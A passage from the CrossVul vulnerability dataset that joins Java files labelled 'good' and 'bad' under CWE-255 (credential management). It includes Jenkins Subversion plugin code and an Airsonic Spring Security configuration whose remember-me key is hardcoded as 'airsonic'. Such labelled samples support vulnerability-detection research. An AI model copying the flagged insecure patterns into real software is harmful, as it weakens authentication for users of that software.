List<String> paths = new ArrayList<String>();
for (SVNDirEntry e : entries)
if(e.getKind()==SVNNodeKind.DIR)
paths.add(e.getName());
String head = SVNPathUtil.head(repoPath.substring(p.length() + 1));
String candidate = EditDistance.findNearest(head,paths);
return FormValidation.error(
Messages.SubversionSCM_doCheckRemote_badPathSuggest(p, head,
candidate != null ? "/" + candidate : ""));
}
}
return FormValidation.error(
Messages.SubversionSCM_doCheckRemote_badPath(repoPath));
} finally {
if (repository != null)
repository.closeSession();
}
} catch (SVNException e) {
LOGGER.log(Level.INFO, "Failed to access subversion repository "+url,e);
String message = Messages.SubversionSCM_doCheckRemote_exceptionMsg1(
Util.escape(url), Util.escape(e.getErrorMessage().getFullMessage()),
"javascript:document.getElementById('svnerror').style.display='block';"
+ "document.getElementById('svnerrorlink').style.display='none';"
+ "return false;")
+ "<br/><pre id=\"svnerror\" style=\"display:none\">"
+ Functions.printThrowable(e) + "</pre>"
+ Messages.SubversionSCM_doCheckRemote_exceptionMsg2(
"descriptorByName/"+SubversionSCM.class.getName()+"/enterCredential?" + url);
return FormValidation.errorWithMarkup(message);
}
}
public SVNNodeKind checkRepositoryPath(AbstractProject context, SVNURL repoURL) throws SVNException {
SVNRepository repository = null;
try {
repository = getRepository(context,repoURL);
repository.testConnection();
long rev = repository.getLatestRevision();
String repoPath = getRelativePath(repoURL, repository);
return repository.checkPath(repoPath, rev);
} finally {
if (repository != null)
repository.closeSession();
}
}
protected SVNRepository getRepository(AbstractProject context, SVNURL repoURL) throws SVNException {
SVNRepository repository = SVNRepositoryFactory.create(repoURL);
ISVNAuthenticationManager sam = createSvnAuthenticationManager(createAuthenticationProvider(context));
sam = new FilterSVNAuthenticationManager(sam) {
// If there's no time out, the blocking read operation may hang forever, because TCP itself
// has no timeout. So always use some time out. If the underlying implementation gives us some
// value (which may come from ~/.subversion), honor that, as long as it sets some timeout value.
@Override
public int getReadTimeout(SVNRepository repository) {
int r = super.getReadTimeout(repository);
if(r<=0) r = DEFAULT_TIMEOUT;
return r;
}
};
repository.setTunnelProvider(createDefaultSVNOptions());
repository.setAuthenticationManager(sam);
return repository;
}
public static String getRelativePath(SVNURL repoURL, SVNRepository repository) throws SVNException {
String repoPath = repoURL.getPath().substring(repository.getRepositoryRoot(false).getPath().length());
if(!repoPath.startsWith("/")) repoPath="/"+repoPath;
return repoPath;
}
/**
* validate the value for a local location (local checkout directory).
*/
public FormValidation doCheckLocal(@QueryParameter String value) throws IOException, ServletException {
String v = Util.nullify(value);
if (v == null)
// local directory is optional so this is ok
return FormValidation.ok();
v = v.trim();
// check if a absolute path has been supplied
// (the last check with the regex will match windows drives)
if (v.startsWith("/") || v.startsWith("\\") || v.startsWith("..") || v.matches("^[A-Za-z]:.*"))
return FormValidation.error("absolute path is not allowed");
// all tests passed so far
return FormValidation.ok();
}
/**
* Validates the excludeRegions Regex
*/
public FormValidation doCheckExcludedRegions(@QueryParameter String value) throws IOException, ServletException {
for (String region : Util.fixNull(value).trim().split("[\\r\\n]+"))
try {
Pattern.compile(region);
} catch (PatternSyntaxException e) {
return FormValidation.error("Invalid regular expression. " + e.getMessage());
}
return FormValidation.ok();
}
/**
* Validates the includedRegions Regex
*/
public FormValidation doCheckIncludedRegions(@QueryParameter String value) throws IOException, ServletException {
return doCheckExcludedRegions(value);
}
/**
* Regular expression for matching one username. Matches 'windows' names ('DOMAIN\user') and
* 'normal' names ('user'). Where user (and DOMAIN) has one or more characters in 'a-zA-Z_0-9')
*/
private static final Pattern USERNAME_PATTERN = Pattern.compile("(\\w+\\\\)?+(\\w+)");
/**
* Validates the excludeUsers field
*/
public FormValidation doCheckExcludedUsers(@QueryParameter String value) throws IOException, ServletException {
for (String user : Util.fixNull(value).trim().split("[\\r\\n]+")) {
user = user.trim();
if ("".equals(user)) {
continue;
}
if (!USERNAME_PATTERN.matcher(user).matches()) {
return FormValidation.error("Invalid username: " + user);
}
}
return FormValidation.ok();
}
public List<WorkspaceUpdaterDescriptor> getWorkspaceUpdaterDescriptors() {
return WorkspaceUpdaterDescriptor.all();
}
/**
* Validates the excludeCommitMessages field
*/
public FormValidation doCheckExcludedCommitMessages(@QueryParameter String value) throws IOException, ServletException {
for (String message : Util.fixNull(value).trim().split("[\\r\\n]+")) {
try {
Pattern.compile(message);
} catch (PatternSyntaxException e) {
return FormValidation.error("Invalid regular expression. " + e.getMessage());
}
}
return FormValidation.ok();
}
/**
* Validates the remote server supports custom revision properties
*/
public FormValidation doCheckRevisionPropertiesSupported(@AncestorInPath AbstractProject context, @QueryParameter String value) throws IOException, ServletException {
String v = Util.fixNull(value).trim();
if (v.length() == 0)
return FormValidation.ok();
// Test the connection only if we have admin permission
if (!Hudson.getInstance().hasPermission(Hudson.ADMINISTER))
return FormValidation.ok();
try {
SVNURL repoURL = SVNURL.parseURIDecoded(new EnvVars(EnvVars.masterEnvVars).expand(v));
if (checkRepositoryPath(context,repoURL)!=SVNNodeKind.NONE)
// something exists
return FormValidation.ok();
SVNRepository repository = null;
try {
repository = getRepository(context,repoURL);
if (repository.hasCapability(SVNCapability.LOG_REVPROPS))
return FormValidation.ok();
} finally {
if (repository != null)
repository.closeSession();
}
} catch (SVNException e) {
String message="";
message += "Unable to access "+Util.escape(v)+" : "+Util.escape( e.getErrorMessage().getFullMessage());
LOGGER.log(Level.INFO, "Failed to access subversion repository "+v,e);
return FormValidation.errorWithMarkup(message);
}
return FormValidation.warning(Messages.SubversionSCM_excludedRevprop_notSupported(v));
}
static {
new Initializer();
}
}
/**
* @deprecated 1.34
*/
public boolean repositoryLocationsNoLongerExist(AbstractBuild<?,?> build, TaskListener listener) {
return repositoryLocationsNoLongerExist(build, listener, null);
}
/**
* @since 1.34
*/
public boolean repositoryLocationsNoLongerExist(AbstractBuild<?,?> build, TaskListener listener, EnvVars env) {
PrintStream out = listener.getLogger();
for (ModuleLocation l : getLocations(env, build))
try {
if (getDescriptor().checkRepositoryPath(build.getProject(), l.getSVNURL()) == SVNNodeKind.NONE) {
out.println("Location '" + l.remote + "' does not exist");
ParametersAction params = build.getAction(ParametersAction.class);
if (params != null) {
// since this is used to disable projects, be conservative
LOGGER.fine("Location could be expanded on build '" + build
+ "' parameters values:");
return false;
}
return true;
}
} catch (SVNException e) {
// be conservative, since we are just trying to be helpful in detecting
// non existent locations. If we can't detect that, we'll do nothing
LOGGER.log(FINE, "Location check failed",e);
}
return false;
}
static final Pattern URL_PATTERN = Pattern.compile("(https?|svn(\\+[a-z0-9]+)?|file)://.+");
private static final long serialVersionUID = 1L;
// noop, but this forces the initializer to run.
public static void init() {}
static {
new Initializer();
}
private static final class Initializer {
static {
if(Boolean.getBoolean("hudson.spool-svn"))
DAVRepositoryFactory.setup(new DefaultHTTPConnectionFactory(null,true,null));
else
DAVRepositoryFactory.setup(); // http, https
SVNRepositoryFactoryImpl.setup(); // svn, svn+xxx
FSRepositoryFactory.setup(); // file
// disable the connection pooling, which causes problems like
// http://www.nabble.com/SSH-connection-problems-p12028339.html
if(System.getProperty("svnkit.ssh2.persistent")==null)
System.setProperty("svnkit.ssh2.persistent","false");
// push Negotiate to the end because it requires a valid Kerberos configuration.
// see HUDSON-8153
if(System.getProperty("svnkit.http.methods")==null)
System.setProperty("svnkit.http.methods","Digest,Basic,NTLM,Negotiate");
// use SVN1.4 compatible workspace by default.
SVNAdminAreaFactory.setSelector(new SubversionWorkspaceSelector());
}
}
/**
* small structure to store local and remote (repository) location
* information of the repository. As a addition it holds the invalid field
* to make failure messages when doing a checkout possible
*/
@ExportedBean
public static final class ModuleLocation implements Serializable {
/**
* Subversion URL to check out.
*
* This may include "@NNN" at the end to indicate a fixed revision.
*/
@Exported
public final String remote;
/**
* Remembers the user-given value.
* Can be null.
*
* @deprecated
* Code should use {@link #getLocalDir()}. This field is only intended for form binding.
*/
@Exported
public final String local;
/**
* Subversion remote depth. Used as "--depth" option for checkout and update commands.
* Default value is "infinity".
*/
@Exported
public final String depthOption;
/**
* Flag to ignore subversion externals definitions.
*/
@Exported
public boolean ignoreExternalsOption;
/**
* Cache of the repository UUID.
*/
private transient volatile UUID repositoryUUID;
private transient volatile SVNURL repositoryRoot;
/**
* Constructor to support backwards compatibility.
*/
public ModuleLocation(String remote, String local) {
this(remote, local, null, false);
}
@DataBoundConstructor
public ModuleLocation(String remote, String local, String depthOption, boolean ignoreExternalsOption) {
this.remote = Util.removeTrailingSlash(Util.fixNull(remote).trim());
this.local = fixEmptyAndTrim(local);
this.depthOption = StringUtils.isEmpty(depthOption) ? SVNDepth.INFINITY.getName() : depthOption;
this.ignoreExternalsOption = ignoreExternalsOption;
}
/**
* Local directory to place the file to.
* Relative to the workspace root.
*/
public String getLocalDir() {
if(local==null)
return getLastPathComponent(getURL());
return local;
}
/**
* Returns the pure URL portion of {@link #remote} by removing
* possible "@NNN" suffix.
*/
public String getURL() {
return SvnHelper.getUrlWithoutRevision(remote);
}
/**
* Gets {@link #remote} as {@link SVNURL}.
*/
public SVNURL getSVNURL() throws SVNException {
return SVNURL.parseURIEncoded(getURL());
}
/**
* Repository UUID. Lazy computed and cached.
*/
public UUID getUUID(AbstractProject context) throws SVNException {
if(repositoryUUID==null || repositoryRoot==null) {
synchronized (this) {
SVNRepository r = openRepository(context);
r.testConnection(); // make sure values are fetched
repositoryUUID = UUID.fromString(r.getRepositoryUUID(false));
repositoryRoot = r.getRepositoryRoot(false);
}
}
return repositoryUUID;
}
public SVNRepository openRepository(AbstractProject context) throws SVNException {
return Hudson.getInstance().getDescriptorByType(DescriptorImpl.class).getRepository(context,getSVNURL());
}
public SVNURL getRepositoryRoot(AbstractProject context) throws SVNException {
getUUID(context);
return repositoryRoot;
}
/**
* Figures out which revision to check out.
*
* If {@link #remote} is {@code url@rev}, then this method
* returns that specific revision.
*
* @param defaultValue
* If "@NNN" portion is not in the URL, this value will be returned.
* Normally, this is the SVN revision timestamped at the build date.
*/
public SVNRevision getRevision(SVNRevision defaultValue) {
SVNRevision revision = getRevisionFromRemoteUrl(remote);
return revision != null ? revision : defaultValue;
}
/**
* Returns the value of remote depth option.
*
* @return the value of remote depth option.
*/
public String getDepthOption() {
return depthOption;
}
/**
* Determines if subversion externals definitions should be ignored.
*
* @return true if subversion externals definitions should be ignored.
*/
public boolean isIgnoreExternalsOption() {
return ignoreExternalsOption;
}
/**
* Expand location value based on Build parametric execution.
*
* @param build Build instance for expanding parameters into their values
* @return Output ModuleLocation expanded according to Build parameters values.
* @deprecated Use {@link #getExpandedLocation(EnvVars)} for vars expansion
* to be performed on all env vars rather than just build parameters.
*/
public ModuleLocation getExpandedLocation(AbstractBuild<?, ?> build) {
EnvVars env = new EnvVars(EnvVars.masterEnvVars);
env.putAll(build.getBuildVariables());
return getExpandedLocation(env);
}
/**
* Expand location value based on environment variables.
*
* @return Output ModuleLocation expanded according to specified env vars.
*/
public ModuleLocation getExpandedLocation(EnvVars env) {
return new ModuleLocation(env.expand(remote), env.expand(getLocalDir()), getDepthOption(), isIgnoreExternalsOption());
}
@Override
public String toString() {
return remote;
}
private static final long serialVersionUID = 1L;
public static List<ModuleLocation> parse(String[] remoteLocations, String[] localLocations, String[] depthOptions, boolean[] isIgnoreExternals) {
List<ModuleLocation> modules = new ArrayList<ModuleLocation>();
if (remoteLocations != null && localLocations != null) {
int entries = Math.min(remoteLocations.length, localLocations.length);
for (int i = 0; i < entries; i++) {
// the remote (repository) location
String remoteLoc = Util.nullify(remoteLocations[i]);
if (remoteLoc != null) {// null if skipped
remoteLoc = Util.removeTrailingSlash(remoteLoc.trim());
modules.add(new ModuleLocation(remoteLoc, Util.nullify(localLocations[i]),
depthOptions != null ? depthOptions[i] : null,
isIgnoreExternals != null && isIgnoreExternals[i]));
}
}
}
return modules;
}
}
private static final Logger LOGGER = Logger.getLogger(SubversionSCM.class.getName());
/**
* Network timeout in milliseconds.
* The main point of this is to prevent infinite hang, so it should be a rather long value to avoid
* accidental time out problem.
*/
public static int DEFAULT_TIMEOUT = Integer.getInteger(SubversionSCM.class.getName()+".timeout",3600*1000);
/**
* Property to control whether SCM polling happens from the slave or master
*/
private static boolean POLL_FROM_MASTER = Boolean.getBoolean(SubversionSCM.class.getName()+".pollFromMaster");
/**
* If set to non-null, read configuration from this directory instead of "~/.subversion".
*/
public static String CONFIG_DIR = System.getProperty(SubversionSCM.class.getName()+".configDir");
/**
* Enables trace logging of Ganymed SSH library.
* <p>
* Intended to be invoked from Groovy console.
*/
public static void enableSshDebug(Level level) {
if(level==null) level= Level.FINEST; // default
final Level lv = level;
com.trilead.ssh2.log.Logger.enabled=true;
com.trilead.ssh2.log.Logger.logger = new DebugLogger() {
private final Logger LOGGER = Logger.getLogger(SCPClient.class.getPackage().getName());
public void log(int level, String className, String message) {
LOGGER.log(lv,className+' '+message);
}
};
}
/*package*/ static boolean compareSVNAuthentications(SVNAuthentication a1, SVNAuthentication a2) {
if (a1==null && a2==null) return true;
if (a1==null || a2==null) return false;
if (a1.getClass()!=a2.getClass()) return false;
try {
return describeBean(a1).equals(describeBean(a2));
} catch (IllegalAccessException e) {
return false;
} catch (InvocationTargetException e) {
return false;
} catch (NoSuchMethodException e) {
return false;
}
}
/**
* In preparation for a comparison, char[] needs to be converted that supports value equality.
*/
@SuppressWarnings("unchecked")
private static Map describeBean(Object o) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Map<?,?> m = PropertyUtils.describe(o);
for (Entry e : m.entrySet()) {
Object v = e.getValue();
if (v instanceof char[]) {
char[] chars = (char[]) v;
e.setValue(new String(chars));
}
}
return m;
}
/**
* Gets the revision from a remote URL - i.e. the part after '@' if any
*
* @return the revision or null
*/
private static SVNRevision getRevisionFromRemoteUrl(
String remoteUrlPossiblyWithRevision) {
int idx = remoteUrlPossiblyWithRevision.lastIndexOf('@');
int slashIdx = remoteUrlPossiblyWithRevision.lastIndexOf('/');
if (idx > 0 && idx > slashIdx) {
String n = remoteUrlPossiblyWithRevision.substring(idx + 1);
return SVNRevision.parse(n);
}
return null;
}
}
|
./CrossVul/dataset_final_sorted/CWE-255/java/good_5796_0
|
crossvul-java_data_bad_788_0
|
package org.airsonic.player.security;
import org.airsonic.player.service.JWTSecurityService;
import org.airsonic.player.service.SecurityService;
import org.airsonic.player.service.SettingsService;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.autoconfigure.security.SecurityProperties;
import org.springframework.context.ApplicationEventPublisher;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.annotation.Order;
import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
import org.springframework.security.config.annotation.authentication.configurers.GlobalAuthenticationConfigurerAdapter;
import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
import org.springframework.security.web.context.request.async.WebAsyncManagerIntegrationFilter;
import org.springframework.security.web.util.matcher.AntPathRequestMatcher;
@Configuration
@Order(SecurityProperties.ACCESS_OVERRIDE_ORDER)
@EnableGlobalMethodSecurity(securedEnabled = true, prePostEnabled = true)
public class GlobalSecurityConfig extends GlobalAuthenticationConfigurerAdapter {
private static Logger logger = LoggerFactory.getLogger(GlobalSecurityConfig.class);
static final String FAILURE_URL = "/login?error=1";
@Autowired
private SecurityService securityService;
@Autowired
private CsrfSecurityRequestMatcher csrfSecurityRequestMatcher;
@Autowired
SettingsService settingsService;
@Autowired
CustomUserDetailsContextMapper customUserDetailsContextMapper;
@Autowired
ApplicationEventPublisher eventPublisher;
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {
if (settingsService.isLdapEnabled()) {
auth.ldapAuthentication()
.contextSource()
.managerDn(settingsService.getLdapManagerDn())
.managerPassword(settingsService.getLdapManagerPassword())
.url(settingsService.getLdapUrl())
.and()
.userSearchFilter(settingsService.getLdapSearchFilter())
.userDetailsContextMapper(customUserDetailsContextMapper);
}
auth.userDetailsService(securityService);
String jwtKey = settingsService.getJWTKey();
if(StringUtils.isBlank(jwtKey)) {
logger.warn("Generating new jwt key");
jwtKey = JWTSecurityService.generateKey();
settingsService.setJWTKey(jwtKey);
settingsService.save();
}
auth.authenticationProvider(new JWTAuthenticationProvider(jwtKey));
}
@Configuration
@Order(1)
public class ExtSecurityConfiguration extends WebSecurityConfigurerAdapter {
public ExtSecurityConfiguration() {
super(true);
}
@Bean(name = "jwtAuthenticationFilter")
public JWTRequestParameterProcessingFilter jwtAuthFilter() throws Exception {
return new JWTRequestParameterProcessingFilter(authenticationManager(), FAILURE_URL);
}
@Override
protected void configure(HttpSecurity http) throws Exception {
http = http.addFilter(new WebAsyncManagerIntegrationFilter());
http = http.addFilterBefore(jwtAuthFilter(), UsernamePasswordAuthenticationFilter.class);
http
.antMatcher("/ext/**")
.csrf().requireCsrfProtectionMatcher(csrfSecurityRequestMatcher).and()
.headers().frameOptions().sameOrigin().and()
.authorizeRequests()
.antMatchers("/ext/stream/**", "/ext/coverArt*", "/ext/share/**", "/ext/hls/**")
.hasAnyRole("TEMP", "USER").and()
.sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS).and()
.exceptionHandling().and()
.securityContext().and()
.requestCache().and()
.anonymous().and()
.servletApi();
}
}
@Configuration
@Order(2)
public class WebSecurityConfiguration extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
RESTRequestParameterProcessingFilter restAuthenticationFilter = new RESTRequestParameterProcessingFilter();
restAuthenticationFilter.setAuthenticationManager(authenticationManagerBean());
restAuthenticationFilter.setSecurityService(securityService);
restAuthenticationFilter.setEventPublisher(eventPublisher);
http = http.addFilterBefore(restAuthenticationFilter, UsernamePasswordAuthenticationFilter.class);
http
.csrf()
.requireCsrfProtectionMatcher(csrfSecurityRequestMatcher)
.and().headers()
.frameOptions()
.sameOrigin()
.and().authorizeRequests()
.antMatchers("/recover*", "/accessDenied*",
"/style/**", "/icons/**", "/flash/**", "/script/**",
"/sonos/**", "/crossdomain.xml", "/login", "/error")
.permitAll()
.antMatchers("/personalSettings*", "/passwordSettings*",
"/playerSettings*", "/shareSettings*", "/passwordSettings*")
.hasRole("SETTINGS")
.antMatchers("/generalSettings*", "/advancedSettings*", "/userSettings*",
"/musicFolderSettings*", "/databaseSettings*", "/transcodeSettings*", "/rest/startScan*")
.hasRole("ADMIN")
.antMatchers("/deletePlaylist*", "/savePlaylist*", "/db*")
.hasRole("PLAYLIST")
.antMatchers("/download*")
.hasRole("DOWNLOAD")
.antMatchers("/upload*")
.hasRole("UPLOAD")
.antMatchers("/createShare*")
.hasRole("SHARE")
.antMatchers("/changeCoverArt*", "/editTags*")
.hasRole("COVERART")
.antMatchers("/setMusicFileInfo*")
.hasRole("COMMENT")
.antMatchers("/podcastReceiverAdmin*")
.hasRole("PODCAST")
.antMatchers("/**")
.hasRole("USER")
.anyRequest().authenticated()
.and().formLogin()
.loginPage("/login")
.permitAll()
.defaultSuccessUrl("/index", true)
.failureUrl(FAILURE_URL)
.usernameParameter("j_username")
.passwordParameter("j_password")
// see http://docs.spring.io/spring-security/site/docs/3.2.4.RELEASE/reference/htmlsingle/#csrf-logout
.and().logout().logoutRequestMatcher(new AntPathRequestMatcher("/logout", "GET")).logoutSuccessUrl(
"/login?logout")
.and().rememberMe().key("airsonic");
}
}
}
|
./CrossVul/dataset_final_sorted/CWE-255/java/bad_788_0
|
crossvul-java_data_bad_5796_0
|
/*
* The MIT License
*
* Copyright (c) 2004-2012, Sun Microsystems, Inc., Kohsuke Kawaguchi, Fulvio Cavarretta,
* Jean-Baptiste Quenot, Luca Domenico Milanesio, Renaud Bruyeron, Stephen Connolly,
* Tom Huybrechts, Yahoo! Inc., Manufacture Francaise des Pneumatiques Michelin,
* Romain Seguy, OHTAKE Tomohiro
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package hudson.scm;
import static hudson.Util.fixEmptyAndTrim;
import static hudson.scm.PollingResult.BUILD_NOW;
import static hudson.scm.PollingResult.NO_CHANGES;
import static java.util.logging.Level.FINE;
import static java.util.logging.Level.WARNING;
import hudson.EnvVars;
import hudson.Extension;
import hudson.FilePath;
import hudson.FilePath.FileCallable;
import hudson.Functions;
import hudson.Launcher;
import hudson.Util;
import hudson.XmlFile;
import hudson.model.BuildListener;
import hudson.model.Item;
import hudson.model.TaskListener;
import hudson.model.AbstractBuild;
import hudson.model.AbstractProject;
import hudson.model.Computer;
import hudson.model.Hudson;
import java.util.Arrays;
import java.util.WeakHashMap;
import jenkins.model.Jenkins.MasterComputer;
import hudson.model.Node;
import hudson.model.ParametersAction;
import hudson.model.Run;
import hudson.remoting.Callable;
import hudson.remoting.Channel;
import hudson.remoting.VirtualChannel;
import hudson.scm.UserProvidedCredential.AuthenticationManagerImpl;
import hudson.scm.subversion.CheckoutUpdater;
import hudson.scm.subversion.Messages;
import hudson.scm.subversion.SvnHelper;
import hudson.scm.subversion.UpdateUpdater;
import hudson.scm.subversion.UpdateWithRevertUpdater;
import hudson.scm.subversion.UpdaterException;
import hudson.scm.subversion.WorkspaceUpdater;
import hudson.scm.subversion.WorkspaceUpdater.UpdateTask;
import hudson.scm.subversion.WorkspaceUpdaterDescriptor;
import hudson.util.EditDistance;
import hudson.util.FormValidation;
import hudson.util.LogTaskListener;
import hudson.util.MultipartFormDataParser;
import hudson.util.Scrambler;
import hudson.util.Secret;
import hudson.util.TimeUnit2;
import hudson.util.XStream2;
import java.io.BufferedOutputStream;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileReader;
import java.io.IOException;
import java.io.InterruptedIOException;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.io.Serializable;
import java.io.StringWriter;
import java.lang.reflect.InvocationTargetException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import java.util.Random;
import java.util.Set;
import java.util.StringTokenizer;
import java.util.UUID;
import java.util.logging.Level;
import java.util.logging.Logger;
import java.util.regex.Pattern;
import java.util.regex.PatternSyntaxException;
import javax.servlet.ServletException;
import javax.xml.transform.stream.StreamResult;
import net.sf.json.JSONObject;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.io.FileUtils;
import org.apache.commons.lang.StringUtils;
import org.apache.tools.ant.BuildException;
import org.apache.tools.ant.Project;
import org.apache.tools.ant.taskdefs.Chmod;
import org.kohsuke.stapler.AncestorInPath;
import org.kohsuke.stapler.DataBoundConstructor;
import org.kohsuke.stapler.QueryParameter;
import org.kohsuke.stapler.StaplerRequest;
import org.kohsuke.stapler.StaplerResponse;
import org.kohsuke.stapler.export.Exported;
import org.kohsuke.stapler.export.ExportedBean;
import org.tmatesoft.svn.core.ISVNLogEntryHandler;
import org.tmatesoft.svn.core.SVNAuthenticationException;
import org.tmatesoft.svn.core.SVNDepth;
import org.tmatesoft.svn.core.SVNDirEntry;
import org.tmatesoft.svn.core.SVNErrorCode;
import org.tmatesoft.svn.core.SVNErrorMessage;
import org.tmatesoft.svn.core.SVNException;
import org.tmatesoft.svn.core.SVNLogEntry;
import org.tmatesoft.svn.core.SVNNodeKind;
import org.tmatesoft.svn.core.SVNURL;
import org.tmatesoft.svn.core.auth.ISVNAuthenticationManager;
import org.tmatesoft.svn.core.auth.ISVNAuthenticationOutcomeListener;
import org.tmatesoft.svn.core.auth.ISVNAuthenticationProvider;
import org.tmatesoft.svn.core.auth.SVNAuthentication;
import org.tmatesoft.svn.core.auth.SVNPasswordAuthentication;
import org.tmatesoft.svn.core.auth.SVNSSHAuthentication;
import org.tmatesoft.svn.core.auth.SVNSSLAuthentication;
import org.tmatesoft.svn.core.auth.SVNUserNameAuthentication;
import org.tmatesoft.svn.core.internal.io.dav.DAVRepositoryFactory;
import org.tmatesoft.svn.core.internal.io.dav.http.DefaultHTTPConnectionFactory;
import org.tmatesoft.svn.core.internal.io.fs.FSRepositoryFactory;
import org.tmatesoft.svn.core.internal.io.svn.SVNRepositoryFactoryImpl;
import org.tmatesoft.svn.core.internal.util.SVNPathUtil;
import org.tmatesoft.svn.core.internal.wc.DefaultSVNOptions;
import org.tmatesoft.svn.core.internal.wc.admin.SVNAdminAreaFactory;
import org.tmatesoft.svn.core.io.SVNCapability;
import org.tmatesoft.svn.core.io.SVNRepository;
import org.tmatesoft.svn.core.io.SVNRepositoryFactory;
import org.tmatesoft.svn.core.wc.SVNClientManager;
import org.tmatesoft.svn.core.wc.SVNInfo;
import org.tmatesoft.svn.core.wc.SVNRevision;
import org.tmatesoft.svn.core.wc.SVNWCClient;
import org.tmatesoft.svn.core.wc.SVNWCUtil;
import com.thoughtworks.xstream.XStream;
import com.trilead.ssh2.DebugLogger;
import com.trilead.ssh2.SCPClient;
import com.trilead.ssh2.crypto.Base64;
/**
* Subversion SCM.
*
* <h2>Plugin Developer Notes</h2>
* <p>
* Plugins that interact with Subversion can use {@link DescriptorImpl#createAuthenticationProvider(AbstractProject)}
* so that it can use the credentials (username, password, etc.) that the user entered for Hudson.
* See the javadoc of this method for the precautions you need to take if you run Subversion operations
* remotely on slaves.
*
* <h2>Implementation Notes</h2>
* <p>
* Because this instance refers to some other classes that are not necessarily
* Java serializable (like {@link #browser}), remotable {@link FileCallable}s all
* need to be declared as static inner classes.
*
* @author Kohsuke Kawaguchi
*/
@SuppressWarnings("rawtypes")
public class SubversionSCM extends SCM implements Serializable {
/**
* the locations field is used to store all configured SVN locations (with
* their local and remote part). Direct access to this field should be
* avoided and the getLocations() method should be used instead. This is
* needed to make importing of old hudson-configurations possible as
* getLocations() will check if the modules field has been set and import
* the data.
*
* @since 1.91
*/
private ModuleLocation[] locations = new ModuleLocation[0];
private final SubversionRepositoryBrowser browser;
private String excludedRegions;
private String includedRegions;
private String excludedUsers;
/**
* Revision property names that are ignored for the sake of polling. Whitespace separated, possibly null.
*/
private String excludedRevprop;
private String excludedCommitMessages;
private WorkspaceUpdater workspaceUpdater;
// No longer in use but left for serialization compatibility.
@Deprecated
private String modules;
// No longer used but left for serialization compatibility
@Deprecated
private Boolean useUpdate;
@Deprecated
private Boolean doRevert;
private boolean ignoreDirPropChanges;
private boolean filterChangelog;
/**
* A cache of the svn:externals (keyed by project).
*/
private transient Map<AbstractProject, List<External>> projectExternalsCache;
private transient boolean pollFromMaster = POLL_FROM_MASTER;
/**
* @deprecated as of 1.286
*/
public SubversionSCM(String[] remoteLocations, String[] localLocations,
boolean useUpdate, SubversionRepositoryBrowser browser) {
this(remoteLocations,localLocations, useUpdate, browser, null, null, null);
}
/**
* @deprecated as of 1.311
*/
public SubversionSCM(String[] remoteLocations, String[] localLocations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions) {
this(ModuleLocation.parse(remoteLocations,localLocations,null,null), useUpdate, false, browser, excludedRegions, null, null, null);
}
/**
* @deprecated as of 1.315
*/
public SubversionSCM(String[] remoteLocations, String[] localLocations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop) {
this(ModuleLocation.parse(remoteLocations,localLocations,null,null), useUpdate, false, browser, excludedRegions, excludedUsers, excludedRevprop, null);
}
/**
* @deprecated as of 1.315
*/
public SubversionSCM(List<ModuleLocation> locations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions) {
this(locations, useUpdate, false, browser, excludedRegions, null, null, null);
}
/**
* @deprecated as of 1.324
*/
public SubversionSCM(List<ModuleLocation> locations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop) {
this(locations, useUpdate, false, browser, excludedRegions, excludedUsers, excludedRevprop, null);
}
/**
* @deprecated as of 1.328
*/
public SubversionSCM(List<ModuleLocation> locations,
boolean useUpdate, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages) {
this(locations, useUpdate, false, browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages);
}
/**
* @deprecated as of 1.xxx
*/
public SubversionSCM(List<ModuleLocation> locations,
boolean useUpdate, boolean doRevert, SubversionRepositoryBrowser browser, String excludedRegions, String excludedUsers, String excludedRevprop, String excludedCommitMessages) {
this(locations, useUpdate, doRevert, browser, excludedRegions, excludedUsers, excludedRevprop, excludedCommitMessages, null);
}
/**
* @deprecated as of 1.23
*/
public SubversionSCM(List<ModuleLocation> locations,
